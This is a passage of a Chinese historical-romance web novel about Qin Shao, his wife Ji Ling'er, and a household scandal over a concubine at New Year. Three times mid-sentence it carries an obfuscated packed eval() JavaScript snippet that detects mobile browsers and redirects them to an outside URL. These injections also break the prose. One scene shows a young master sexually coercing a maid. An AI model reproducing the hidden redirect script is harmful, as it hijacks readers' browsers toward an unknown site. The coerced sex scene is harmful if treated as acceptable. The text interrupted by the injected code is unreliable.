觉察有目光灼在身上，季灵儿伏在秦劭怀中，紧紧攥住他腰间衣衫，一动不敢动。 秦劭轻咳提醒。 只一声，落在她身上的好奇打量便倏地收了回去。 “原是师娘，徒儿唐突了。”云衡拱手致歉。 季灵儿甚至能想象云衡此刻略显尴尬，慌忙垂眼的模样，呆呆笨笨一定有趣极了。 秦劭淡淡“嗯”了一声，算是揭过，转而问道：“你为何在此处？” 云衡似有踌躇，“徒儿来寻人。” “寻人？”秦劭抬眼回望山顶尼姑庵的方向。 “我和小师弟约了今日在后山见面。”眼看要闹出误会，云衡扯了个半真半假的谎。 相约是假，来寻小师弟是真。 “约了季凌？”秦劭问。 “是。” 她何时约了他？ 此刻正藏在秦劭怀中的小师弟头皮一炸，攥着衣襟的手指收紧。随即感受到环住她的手臂同样加重了力道，她险些喘不过气。 许是她颤动太过明显，又或是那一声轻咦未能逃过近处之人的耳朵，云衡的目光复落在她身上。 “师娘可是不舒服？” 秦劭没回答，反看向他提在手中的油纸包，“这是带给季凌的？” 云衡愣了愣，老实答道：“是，小师弟爱吃镜糕，我路过如意楼便买了。” “正巧，内子也喜甜食，正因未用早膳走不动道闹脾气。”秦劭语调不紧不慢，话至一半，腰上遭了一记狠掐。 他垂眸扫了眼怀中人，没往下说。 云衡看着秦劭怀中鼓鼓囊囊的大氅，迟疑再三，依依不舍地将手中油纸包递了过去，“这份镜糕请师娘用吧......还是热的。” 收尾的语调好生委屈。 秦劭毫不犹豫接过，颔首道：“多谢。” “师父言重，”云衡拱手，目中掠过一丝复杂，恹恹道：“徒儿不打扰师父与师娘了。” “莫贪玩，早些回家。” 听着云衡的脚步声渐远，季灵儿松开手指，在他怀里动了动，轻声问：“走了吗？” “嗯。”秦劭松开手。 季灵儿探出半个脑袋，确认不见云衡踪迹才整个退出来，放松地吐了口气，舒展筋骨。 “您为何要抢他镜糕？” “抢？”秦劭不认同她的用词，纠正道：“替他转交罢了。” “哦对，反正是给我的。”季灵儿恍然，笑嘻嘻拿过油纸包拆开，热气裹着甜香扑上来时，所有计较被抛之九霄。 咬一口，芝麻混着果脯的香甜在舌尖绽开，她餍足地眯起眼，“云师兄果然懂我。” 又扬起油纸包到秦劭面前：“您也尝尝。” 秦劭见她吃的欢喜，嘴角沾着糖霜芝麻也不察，摇头道：“你吃吧，不过在这里容易吃进冷风，先回马车上。” 回府的马车上，季灵儿自顾自吃了一路，直到肚子塞满后知后觉地发现，秦劭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379884|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经许久没开口同她说话了。 悄悄抬眼看，他眉眼沉静，倚在车身养神。 小声问：“您睡着了吗？” “尚未。”他声音很轻，并未睁眼。 季灵儿抿唇想了片刻，道：“我并未与云师兄约，估摸是他知道我今日会来为师父上坟祈福才寻来的。” “为何同我说这些？”秦劭睁眼，被她泛着油光的唇角吸走视线。 “我，我以为您在生气。”季灵儿道。 她与云衡年纪相仿，性子也合得来，经常凑在一起吃喝玩乐，以及......闯祸。因而见秦劭长久沉默，心虚地以为他在责怪她又与云衡厮混惹祸。 秦劭对她的坦白却是另一种理解。 小姑娘心思单纯，恐与其他男子关系好引他误会，这才小心翼翼开口解释......如此想，她还是很乖的，会在意他的感受。 秦劭唇角微勾，露出一抹冰雪消融的暖笑，取出帕子替她擦拭嘴角残留。 “你有交朋友的自由，不必事事向我报备，我不会因此生气。” 季灵儿僵着身子由他擦拭，鼻间呼吸轻浅拂过他手背，自己反倒红了耳尖，无意识唤：“先生。” 秦劭替她擦净嘴角，收手时指节不经意扫过唇瓣，软嫩的触感促使颤栗从指尖窜上心头。 敛眸收回手，声音略沉了些，“嗯？” 季灵儿也感觉异样，抿了抿唇，又坚定语气唤一声“先生”，捧着最后一块镜糕递上，“您当真不尝尝吗？” 秦劭接过，未直接送进口中，盯看糕面上淋洒的各色配料，倏然想起什么，问：“云衡知晓你是女子？” 没有相约，因知晓她今日会在便顶着寒冬赶来，且云家到孤山并不经过如意楼，云衡口中的顺路，实在值得推敲。 “不知道，我不曾同任何人说过。先生为何如此问？” “无事，随口一问罢了。” 秦劭按下心中疑虑，咬一口镜糕，的确很甜。 ... 腊月三十，雪簌簌地下着，秦家上下从天不亮开始忙碌。 厅堂内暖炉烧得正旺，檀香袅袅，老夫人身着绛紫色团花袄端坐正位，季灵儿被招呼陪在身前，坐在铺了软垫的绣墩上。其余各房照辈分长幼分落两侧。 秦劭坐在方淑凤下首，视线正对季灵儿，她今日穿了件红底粉紫缕金牡丹刺绣缎面袄，发髻高绾，嵌红宝赤金云凤纹步摇垂落的流苏铃铃晃动。 小姑娘正坐在满屋最显眼的位置打瞌睡，脑袋频频往下栽，手里攥着的红绸帕子早已滑落膝头。 长辈说话她插不上嘴，犯困有一会儿了，他瞧见，旁人自然也瞧见。 “可是昨夜没休息好？”老夫人随着众人的目光垂眸，拉起季灵儿的手握进沟壑纵横的掌心，语气慈爱没有责备。 昨夜轮到正院派去的丫鬟守夜，清早天不亮满面春光回来报信，说昨夜丑时大爷屋里叫了水，后又折腾到寅时才歇。 前有回话，眼下又见她困顿如斯，想是被自家孙儿折腾得厉害，老夫人心里高兴还来不及。 “芮宁失礼了。”季灵儿极努力地睁眼，可眼皮沉得铅似的，没撑多久又耷拉下来。 “不打紧，离吉时还有半个时辰，困了就趴祖母腿上睡。”老夫人笑吟吟道，说着让丫鬟拿来软枕给她垫上。 “多谢祖母。”季灵儿实在困极，沾着软枕便着了。 “瞧给大嫂嫂累的，定是大哥昨夜太贪欢，不懂怜香惜玉。”秦勉笑着揶揄。 21. 闹剧 满堂哄笑，秦劭有些头疼，淡淡扫了他一眼，揉着眉心不接话。 他贪欢？分明是小姑娘白日贪睡半夜睡不着，偏巧屋里有本不适宜翻读的民间志怪小说，是他先前从弟子手里收来的，随手搁在案头忘了收，被她找到，心血来潮翻看起来。 她看得投入，夜晚北风又刮的紧，呼啸声听进耳中成了鬼魅游廊，冤魂呜咽，花窗上枯枝摇曳投下的影子成了邪祟在张牙舞爪，连灯芯爆开的细微声响都能将她吓得惊呼。 如此，不仅她更难入眠，还硬生生将他折腾醒。 寒冬腊月里，小姑娘被志怪故事吓出一身冷汗，他这才摇铃叫水，沐浴后好不容易哄着她收了书，依旧怕得不敢熄灯落帐，直到寅时将尽，她熬不住困盹睡下，他得以安歇片刻。 秦劭不辩解，众人只当他羞于应对，略调侃几句揭过。 屋内其乐融融聊着家常琐事，外头小厮跑来禀报，说二老爷和二少爷回来了，马车已经进了巷口。 “好，好，可算盼回来了，万幸没误了祭祖的时辰。” 老夫人激动地忘了伏在膝上的人，动作幅度不由得大了些，季灵儿惊醒，正见姚音然扶着云氏起身。 揉着惺忪睡眼，未及反应，门外传来一阵喧杂，毡帘猛地掀开，一前一后进来两名男子，头戴风帽，身披大氅，肩头铺着未来得及打落的雪粒。 众人刚露出的笑意，在看到紧随其后进来的第三道身影时，瞬间冻结了。 那是一个披着水红色狐裘的女子，姣好的鹅蛋脸上带着怯生生的惶恐，垂着头不敢看人。 嗅到诡异的味道，季灵儿瞬间清醒几分，看那女子年岁，似乎和归来的二少爷秦勘差不多，难不成...... 风流债的念头在脑海兜转，转而看向僵在原地的婆媳，姚音然依旧是副清冷神情，云氏却沉了脸色，手紧紧攥着帕子，指节都泛了白。 屋内寂静无声，各种各样的审视落在那女子身上。 老夫人先反应过来，开口问是何人，语气已没了早前的温和。 女子十分惶恐，往二老爷秦锡身后缩了缩。一个简单的举动，无声胜有声。 季灵儿在心中惊呼天爷，这下有热闹瞧了。 秦锡咳一声定神，越过一旁的发妻云氏，拉着女子直愣愣跪到老夫人跟前，惊得季灵儿从座上弹起来，退至一旁。 “母亲，”秦锡叩首，朗声道：“正好今日人齐，儿子有件事要禀明，这是慧娘，出身寒微但品性淳厚，在外对儿多有照拂，儿欲纳她为妾，望母亲恩准。” “休想！我秦家决不允许来历不明的女子进门。”老夫人脸上的庄重瞬间化为铁青，手中的沉香木佛珠攥得死紧。 秦锡：“慧娘只是家道中落，并非来路不明，且她已怀了儿子的骨肉，儿子断不能让她们母子再流落街头。” 老夫人呼吸猛地一重，季灵儿赶忙上前替她抚背顺气，余光留意跪着的慧娘，原以为是身量丰腴，现下看腹部的确有明显隆起。 云氏脚下踉跄，亏得姚音然扶住她臂膀，缓缓退回座中，眼睛死死望着那低头垂目的女子，嘴唇颤动，一句话说不出来。 四老爷秦锦紧张母亲，见状嘴唇嚅动，想起身却被身旁的姚氏扯着袖子瞪回来。 长兄早逝，秦锡是兄长，是长辈，老夫人尚气得不言语，无人方便开口议论二房私事。 三老爷秦钰依着同二哥关系不错，提醒道：“二哥，你未免忒心急了些，瞧把母亲气的，多大的事不能过了年节慢慢商议，如今这般闹，好好的年节都乱了。” 连季灵儿都听得出话里的缓兵之意。 秦锡这会子油盐不进，梗着脖子犟：“三弟这是什么话！她怀的是堂堂正正的秦家子嗣，为何要躲藏？今日祭祖，正让祖宗知晓添丁进口之喜。” “无媒无聘，何来堂堂正正？我秦家虽世代商贾，也教你们读过书晓过礼的，祖宗规矩断不容不清不白之人入宗祠，辱没门楣！”老夫人终于开口，声音愤怒颤抖。 秦锡怫然不悦：“母亲！慧娘是孤女不假，可她绝对清白善良，若您不容她，便是也不容我，那我——” 眼瞧着二老爷以脱离家门相胁，老夫人手中的珠串重重砸在扶手上，随着一声脆响，全场鸦雀，断线的珠子一颗颗砸在地上，四散滚落。 “母亲息怒，”云氏经姚音然搀扶着站起身，脸色苍白，背脊挺得笔直，目光从跪地的二人身上收回，漠然道：“她既怀有夫君骨血，赶出去难保叫外人戳咱们秦家脊梁，儿媳请母亲开恩，让她在府上安顿养胎。” 云氏愿意退让，老夫人却不愿坏规矩，迟迟不松口。 云氏转对自家丈夫道：“你我夫妻多年，我愿喝她一杯妾室茶，全你与她的情谊，但尚未行礼，直接入祠实在不妥，祭祖是家族大事，祖宗规矩不可废，夫君难道要连累心上人与你一起背负不孝的骂名吗？” 识大体，顾大局，全婆母与丈夫颜面，守家族规矩。她的每一个字都似拿匕首从心上剜出来的，满屋子听者，无一不为之动容。 季灵儿只觉得气愤，憋闷，却无可宣泄。 岂料秦锡竟连这个台阶都不肯下，执意叩首到底：“秦家若不肯容她，只能恕儿子不孝，情愿与她一同离去，另立门户！” “好，这就是我养出来的儿子，你......”老夫人已是怒火攻心，一句话说不完，便剧烈咳嗽起来。 吴嬷嬷早见势头不对将丫鬟全遣到外院，此刻自己给老夫人端茶汤，方淑凤赶忙上前搭手顺气，二老爷仍倔强地跪着。 季灵儿再难忍下去，刚一个“二”字出口，被一道更凌厉的声音抢了先，循声看去，竟是姚氏。 “二伯兄！”姚氏柳眉倒竖，尖声道，“二嫂嫂这般委曲求全，你还要得寸进尺，当真以为秦家没了规矩不成？这不知哪儿来的狐媚子，趁着年节挟子上位，逼得母亲昏厥，嫡妻难堪，搅得家宅不宁，你还当她是个宝，真是瞎了狗——” “四弟妹！嘴上积德！”她越说越难听，三老爷秦钰赶紧出声制止，同时给四弟使眼色。 秦锦惧内，哪敢真劝，何况明知劝不动，苦着脸扯扯姚氏的袖子：“夫人少说两句，今日年三十，和气为贵，和气为贵。” 姚氏正在气头上，见三老爷插嘴，丈夫又这般窝囊，更是口不择言，矛头转对秦钰：“三伯兄充什么好人？你自个儿在外头置宅子养戏子的事藏好了吗就来替别人出头，真是一丘之貉！” “你你你，胡吣什么！”秦钰面红耳赤，气得直跺脚，反驳不出半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379885|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句实在的。 这厢吵得不可开交，那厢老夫人手中拐杖连连点地，咳嗽得直不起腰。 “都住口！”沉冷的怒喝如惊雷炸响，瞬间压过所有争吵。 冷眼旁观的秦劭一步踏出，面色寒峻，冷眸扫过满堂，在季灵儿身上顿住。 “先扶祖母去内室休息。”这一声放得很平静，甚至暗中弯起嘴角朝她露出一抹抚慰的笑。 待她和吴嬷嬷一左一右搀扶着老夫人离开，秦劭端起当家人的气势重新开口，“各位叔叔婶娘，照理说我一个小辈不好置喙长辈家事，但父亲临终前将家业托给我，各位当时全在场，也都应了，如今我说不得也得说得。” “在秦家祖宗家法是铁律，二叔想另立门户，可以，但得依家法来，连带二婶娘和宗勘一并请出族谱，另记新户。” 秦锡不服：“这些年我可为秦家出过不少力。” 秦劭：“是，您风餐露宿在外头吃了不少苦头，全是为秦家，这些无人不认，但那是您作为秦家二老爷挣的，一笔一笔归的是秦家大帐，二叔违背家法自请离去属于净身出户，并非寻常分家，秦家财产您，二婶娘，以及宗勘，一律不得分毫。” 他语气不重，但字字如铁，压得人喘不过气。 秦锡气急：“你想独吞家产不成？” 秦劭：“二叔此言差矣，我讲得是祖宗规矩，在场无一人不知。” 略晾了秦锡片刻，倏然放松口气道：“自然了，倘使二叔这些年瞒着家里在外头置办了私产，想必也不会在乎这些。” 话音未落，堂上众人皆变了脸色，既是以秦家名义经商，何来的私产，秦劭这话分明是挖了坑给秦锡跳，可转念想，他不会平白问出这话，结合二房又死活要自立门户，不定真有不可告人的隐情。 三老爷亦明白过来，不可置信看着二哥。 心说难怪，难怪连亲儿子都帮着带野女人和私生子回来，感情是早打好算盘，在外头藏了私，又想借分家把家里的产业也卷走一份。 自己竟傻憨憨给人当枪使，反被揭了老底。 * 扶着老夫人出来，季灵儿时不时回头，她清楚秦劭那般架势通常要训人，可闹事的是长辈，他竟连长辈都敢训吗？实难想象堂上场面，忍不住频频回头。 老夫人和吴嬷嬷相视一笑，宽慰她道：“你不必担心宗劭，他能压得住场子。” 她才不担心，好奇罢了。 老夫人又道：“宗劭让你陪我出来可见心中十分在意你，他实是个容易心软的，你可别因他面上一丝不苟就远着，要多亲近才是。” “心软？”季灵儿没瞧出来。 老夫人有心撮合二人，半开玩笑道：“你若不信我说的，自己试试便知道了。” 说完竟还精神矍铄地同她耳语几句，哪有方才在堂上气到晕厥时的颓唐。 季灵儿十分疑惑：“您不为二叔的事生气了？” 老夫人意味深长道：“气自然是气的，但我若事事都气到心里，这把老骨头早不中用了，哪能撑到看宗劭娶亲生子。” 待到吉时。 秦家老小整整齐齐聚在祠堂，个个身着盛装，面容肃穆，二房一家也在，没有慧娘，风雪依旧，堂上风波似乎从未发生过。 22. 礼物 “您喜欢什么样的女子？” 祠堂祭祖结束，季灵儿得老夫人的特许，回房补觉，直至晚膳前被秋棠唤醒，从她口中得知府中后来发生的事。 二老爷去找老夫人认了错，老夫人最终点头留下慧娘，条件是孩子记在二夫人名下。 三房闹得鸡飞狗跳，三夫人一个劲儿地哭，说她已经一退再退容忍三老爷接连往家中纳妾，如今还要瞒着她在外头养戏子。 妾室好歹是良人，戏子谁知道是哪路狐媚子，万一沾了不干净的，岂非祸害一院子人，因这缘故，三房的姨娘们也哭哭啼啼闹起来。 季灵儿对风流事不大上心，但对钱财格外敏感，当即找到话里的精彩处：“养戏子开销不少，三房动了大流水先前竟没人察觉？” 秋棠：“正是呢，三夫人追问才知，竟是三老爷偷拿她的嫁妆钱出去，如今三夫人吵着要和离，咱们夫人正在那院说和呢，大爷也去了。” 季灵儿听得眼睛微眯，心说这年过得真真是热闹。 想到姚氏在堂前的一番叱骂，又问：“四房呢？” 秋棠：“四夫人去二院劝过一阵，没多久便回了，他们院子没什么动静。四夫人一向看得紧，四老爷惧内，素日出门连多看别家姑娘一眼都不敢，想是惹不出祸端的。” 大宅院里是非多，作壁上观有乐子瞧，倘若让她实打实同这一家子人打交道，她可不愿，不是怕斗，而是懒得费弯绕心思，况且师父说过，自古家宅内斗，不会有真正的赢家。 秋棠末了拍了句马屁：“还是少夫人您有福气，咱们夫人慈和，大爷在外不拈花惹草，在内又疼您护您，正年节府里闹成这样，偏生您清清静静躲屋里睡觉。” 季灵儿笑了下，没应话。 她心里一片清明，老夫人也好，夫人也罢，对她好无外乎她是秦劭的新妇，指着她肚皮里蹦出一个秦家长房长子，日后继续托举偌大的家业。 至于秦劭......她从来摸不透他的想法。 闲话聊完，秋棠替她重新梳妆，却迟迟不见玉秀，遂问秋棠。 秋棠如实道：“先头是被大夫人叫去领东西，后来我便不知了。” 按理说大夫人去了三房院子，玉秀早该回来的。 随后说：“今日府中忙，兴许被哪处临时拉去帮手了，要着人去找她吗？” 季灵儿不过没见到人随口一问，没让秋棠去寻，搁下这事，不由得延续方才想，遂问：“你来府中多久了？” “奴婢来府里已有六年了。” “瞧你同我差不多年纪。” “奴婢家贫，十岁被卖入府中，跟在大夫人身边。” 既然跟着方淑凤，想来对秦劭的事也知道不少，季灵儿心说没问错人，道：“大爷先前可有过心仪的女子？” “这个......”秋棠迟疑。 欲言又止便是有，季灵儿心头一动，催促道：“你悄悄告诉我，我定不会说出去。” “奴婢没听说大爷对别的女子上过心。” “当真？”季灵儿将信将疑。 秋棠点头。 季灵儿忖了半晌，道：“若再为大爷寻一位房中人，他会喜欢什么样的？” “您，您这是何意？”少夫人过门不足月，便要给大爷张罗妾室，秋棠惶恐看着她，只以为自己听错了。 况且大爷喜欢哪样的女子，她一个丫鬟怎会知晓。 支支吾吾，嘴边那句“奴婢瞧大爷最喜欢您”尚未出口，余光瞥见她家大爷从外间掀帘子进来。 “你问她不如问我。”清冷的嗓音先钻进二人耳朵，听不出喜怒。 秋棠握着篦子的手一颤，加快速度替她挽发髻，正欲往妆奁选簪子，听见身后人道：“退下吧。” 如蒙大赦，欠身退到室外。 秦劭缓步到她跟前，修长手指在一排珠翠上逡巡，最终停在一对累丝蝴蝶金簪上，簪尾坠着一颗浑圆的东珠。 拿起凑在她鬓边比画了下，看着镜中发呆的花容，笑道：“怎么不问了？” 季灵儿回神，毫不客气道：“您喜欢什么样的女子？” 她问了，他却不着急答，金簪稳稳插入发间，动作娴熟得不似第一次做这样的事。 联系新婚夜他替自己拆发髻的熟练，季灵儿愈发坚定想法：他从前定有过相好。 正想着，低沉嗓音在耳畔响起:“好看吗？” 镜中映着两张面孔，他眉眼沉静，分明没有多余神情，总觉唇角含着笑意，她杏眼桃腮，黛眉蹙作一团，发间金簪凑成一对，蝴蝶亦凑成一双，映着窗外斜斜日光，似撒了金粉，流光溢彩，振翅欲飞。 一对璧人，一双蝴蝶。 此情此景，季灵儿想的却是，避而不答即为心中有鬼，好奇心愈盛，敷衍地道了一句好看，追问：“您还没回答我的问题。” 秦劭直起身子，目光淡淡落在金簪上，道：“没喜欢过，不知。” 收拾妥当二人相携去家宴，期间再无他话。 想是劝说有成效，三夫人没有真回娘家，席间众人言语接替，劝这个哄那个，少有的没将注意力放在季灵儿身上。 她先头睡饱，眼下又吃的自在，脑袋格外灵光，察觉出白日的不对劲来。 二房老爷带着儿子在外行商，身边伙计全是秦家的，不可能无人发现他养了一名女子，况且女子连孩子都有了，跟着队伍长途跋涉回吉安，按理说早该有人禀报秦劭。 白日在堂上她观察过所有人的反应，秦劭脸上并无一丝诧异。 宴席散去，季灵儿趁着独处的机会向秦劭道出疑问：“您是不是早知道二房老爷养外室？” 秦劭眉梢微动，停了好久才道：“是。” 商队任何风吹草动都瞒不过他，故意按压消息，等二叔自以为时机成熟露出尾巴，再顺势收网。 处置长辈到底作难，所以他选择静观其变，任由几房掺杂将事情闹大，快刀剜腐肉，只有肉足够腐烂，烂到众人唾弃的地步，才不会有人指责刀刃锋利。 此乃秦劭一贯处事作风，支季灵儿扶祖母避开，是不愿她知晓这些。 他内心深处在害怕，怕她畏惧他的狠心，怕她因此更疏远，只是他自己不察。 面对季灵儿追问的目光，秦劭揉着眉心，语气很是歉疚：“养外室是二叔私事，在外行商期间以秦家名义中饱私囊才是大问题。我不好处置长辈，本想等二叔回来私下谈，怎料他横了心先闹起来，闹到这地步，也是我没想到的。” 季灵儿十分接受这个说法，反过来安慰道：“当家人不好做，您也不必太自责。” 先生如此撑着商行和秦家委实辛苦，很需要有人分担。 季灵儿暗暗下决心，定要加紧努力，替他寻一位最好的贤内助。 回到房中，秦劭拿出一个彩锦如意方形盒子交给她，“打开看看。” 里头红锦铺垫，静静躺着一枚玉坠。 季灵儿抬眼望向他：“这是？” “答应给你带的水纹玉。”秦劭道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379886|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季灵儿将玉坠提在手中端详，纹理果真如水流淌，半个巴掌大小，坠身被雕成算盘样式，精巧莹润，每一枚算珠都似凝着水光，足见雕工不凡。 少有人拿算盘做坠子，因而问道：“您专门让人雕的？” 秦劭颔首：“已尽可能让匠人赶工，还是耽误了两日行程。” “是为它逗留溯州的？”她竟为此不安许久，怕他趁机调查。 “自然。”秦劭答的利索，神情瞧不出异样。 疑心放下，季灵儿脑袋里的小算盘开始拨动，讷讷道：“这要花不少银子吧？” “算不得什么。”秦劭语气平静。 “对您或许算不得什么，但我从未收过如此贵重的礼物。”她声音不高，看向玉坠的目光盛满喜爱。 这可比成亲第一日她买的那堆值钱多了。 秦劭看着心中亦觉得欢喜。 欣赏许久，小心翼翼放回盒中，忐忑着欲递回去：“太贵重了，我不——” 秦劭猜到她的意图，直接打断：“收着，当是我给你的新岁贺礼。” “可我......未曾给您备礼。” “无妨，”他本欲说你喜欢便好，不必在意云云，怕她不安心收下，遂改口道：“那便现想一样相送。” 话音落，小姑娘抬眼看来，眸中流光微转着无措。 季灵儿很是为难，当下去买是不能的，女红字画皆非她所长，搜肠刮肚竟觉无一物可配他之礼。 “您有何想要的吗？且是我能给的。” 转念想，她能给什么呢，先生似乎不缺任何事物。 秦劭眸底掠过一丝极淡的笑，放缓声音道：“实在想不出，便赠我一句话罢。” 她怔怔抬眼：“什么话？” “自然是新岁之祝。” 季灵儿依言说了几句吉祥话，皆被他摇首否了：“不够诚意。” 她词穷，忍不住轻声嘟囔：“您究竟想听什么？” 秦劭尚未辨明心中偶尔漾起的涟漪是何物，或是单纯来了逗她的兴致，又或想听一句不能说与旁人的，独属于他的祝愿。 月光洒落肩头，为他镀上一层柔软的银边。 季灵儿等了许久等来一声温柔轻笑，清冷嗓音透出温和：“先欠着罢，等你想到了，再说与我听。” 守岁过后，烛烬渐低，二人各自更衣沐浴。 季灵儿沐浴完，坐在妆台前反复端详水纹玉雕的算盘坠子，真真是好看，算盘式样别出心裁，亦勘合她心意。 越看越觉心中有愧，似敲佛钵似的，一记小锤轻轻落下，余音久久不绝。 欠人情分非她所为，退回礼物是不能的，要回赠一份心意才对。 原想问问玉秀意见，对方心不在焉，叫了两声回过神来，支吾道：“啊，您说什么？” “我要问你怎么了，晚膳前不见人，自回来一直心绪不宁，家中遇上事了？”季灵儿记得她今日提过托人往家中送信和存下的月钱。 玉秀欲言又止，最终只道：“没什么，奴婢只是有些想家。” 正是团聚的日子，想家乃人之常情，季灵儿不疑有他，起身去放体己的匣子里选了又选，狠狠心拿出一小锭银子给她。 “喏，新岁给你一锭银子讨个好彩头，你明日便回趟家看看爹娘罢。” 玉秀眼眶忽地红了，弯膝跪在地上，哽咽道：“奴婢不能收，奴婢......” 后面的话卡在啜泣声里，难以下咽，亦说不出口。 23. 胡闹 季灵儿愣住：“何至于跪下，莫不是你家中出了什么事？” 玉秀仍是摇头，不肯起身。 季灵儿叉着腰佯装生气：“那就起来，好好的年节，你存心要用眼泪把我来年的运势冲走吗？” 玉秀这才止住哭，抽噎着起身，“您为何对奴婢这般好。” “我没有对你好，不过是同在一条船上，唇亡齿寒罢了。”季灵儿自顾自生活惯了，不愿欠别人亦不愿摆出施恩的架子，说完把银子往玉秀手中一塞，扭过头道：“快收起来，我这人最心疼银子，待会儿要后悔的。” 玉秀低头摩挲着那锭银子，一遍遍道谢，同时在心中下定决心。 决不能让这条船翻沉。 ... 秦劭回到内室时，唯有季灵儿一人，她已换好妃色撒花寝衣，盘膝在榻边坐得端正，手心捏着一方折叠整齐的素绢。 待他走近，铺开掌心向前，“给您的礼物。” 秦劭惊喜接过，素绢展开，中间一记醒目的朱红，被草草抹成一朵小花形状。 认出是血迹，面上诧异更甚，不由蹙眉：“这是何意？” “以血为盟，送您一个心愿。”季灵儿仰着无比认真的脸庞，这是她能想到诚心的礼物了，“愿您顺遂如愿。” 秦劭指尖发烫，喉头滚动，只挤出一声：“胡闹。” 声音不重，全是难以掩饰的无奈，目光重新挪到她收拢的指尖，“刺的哪只手？” 季灵儿伸出右手食指，上面还泛着淡淡血色，隐隐可见一个细小针孔。 秦劭蜷了蜷指尖，没说话。 季灵儿摸不准他的态度，“您不喜欢？” “喜欢。”秦劭低声道。 得了肯定，季灵儿眉眼舒展，笑容比升空烟火更绚烂，“那您可要收好，丢了我可不认账的。” 说罢踏踏实实躺回床榻里侧，秦劭则转身将绢帕妥善收于锦匣。 新岁伊始，各院陆续在喜庆氛围中浸入静默，秦家花园里，两道身影在沐浴着月光，在梅林中缠绵。 其实谈不上缠绵，因为居于主导的男子一味横冲直撞，毫无章法可言，遑论温柔。 被压制在他和梅树之间的女子衣衫凌乱，甚至有几处残破，鬓发散乱贴在脸颊，双目紧合，死咬下唇不敢吭声。 纵然如此，仍有啜泣混着呻吟溢出。 她越是隐忍，男子越凶狠发泄，指尖掐进她肩胛骨，一字一句透着狠厉。 “不是自愿吗？做这副贞.洁样子给谁看。” “奴婢没有。” “没有别装哑巴，让本少爷听听你心甘情愿的叫声。” “会被听到......”她不会，更难启齿。 “怕什么，听到了本少爷索性将你收房不正好吗。”男子嗤笑，好看的桃花眼尽是轻佻与不屑，他停下动作，手掌掰过她脸颊，“怎么，后悔了？” 朦胧泪眼映着他阴鸷神情，颤声开口：“没有......” “那便让本少爷看见你的真心。”男子满意勾唇，缓缓松开手，却在她想要喘息时忽然扣住腰身，以胜于先前数倍的力道贯穿柔弱。 女子透支的身体承不住力，险些跪倒在地，狼狈伏在枝头。 梅枝被晃得簌簌作响，配合着她生涩的媚语，为这场不堪的纠缠助兴。 ... 年初一季灵儿照规矩去正院问安用膳，路上秦劭被三房老爷唤走，留她独自前往，没走几步，秦勉从后追上，拦住她去路，拱手道了句吉祥话。 季灵儿没多想，笑着回礼后准备继续走。 秦勉跨步拦住，目光掠过她看向身后的秋棠，漫不经心道：“怎么不见大嫂嫂陪嫁的小丫鬟。” 季灵儿攒眉，疑惑他如何关心起玉秀来，只道：“我准她回家探亲了。” 秦勉弯起唇角，却不见笑意，“大嫂嫂待底下人真好，难怪她如此忠心。” 季灵儿没明白他的意思，欲追问，对方已抬脚离开。 嘟囔道：“这人真奇怪。” 秋棠在旁开口：“三少爷就是这么个性子，府里除了老夫人和大爷，没人管得了，您别往心里去。” 季灵儿才不顾他什么性子，因这茬想起入门敬茶时秦勉的样子，起初没在意，与眼下事掺杂一起，觉察出蹊跷，心说得等玉秀回来问问清楚。 ... 问过安，季灵儿被留在堂屋陪老夫人和方淑凤说话，约莫聊了一盏茶，门上报云家老太太携家眷来拜访。 “芮宁先退下了。”季灵儿不欲陪着应酬，起身告辞。 “你留下跟着见见亲戚。”老夫人如此说，实际想让她跟着见见场面。 云家与秦家是姻亲，串亲访友何至于动用老太太，想是听了风声，来为云氏撑腰的。 季灵儿无奈，只得垂首站在一旁。 院中脚步声由远及近，毡帘掀开，一行人步入厅堂。为首的是云家老太太，满头银丝梳得一丝不苟，用一根通透的碧玉簪挽着，面庞清瘦，通身透着威严，身后跟着两位衣着华贵的中年妇人。 最后跨过门槛之人，身形笔直修长，一袭宝蓝色销金云纹团花袄，嵌宝乌金冠将墨发高束，马尾似的随步履晃动，唇瓣微微上翘，勾勒出少年郎的意气风发。 季灵儿脑中骤然现出空白。 怎的又是云衡！ 云家，云衡......等不及她捋清两者关系，云衡已挪眼看过来，正跟着长辈的介绍一一问好，很快便要轮到她。 眼下不能被认出！ 季灵儿迅速低头，朝玉秀递了个眼神，利用寒暄的人群作遮挡，脚步轻快地向侧边移动，悄无声息退向通往侧廊的紫檀木嵌染牙插屏后。 小心脏在胸腔里上蹿下跳，她沿廊下疾行，一直到彻底远离喧闹厅堂才驻足，坐在美人靠上平复气息。 秋棠小跑跟过来：“您为何出来了？” “坐久有些闷，出来透口气。” 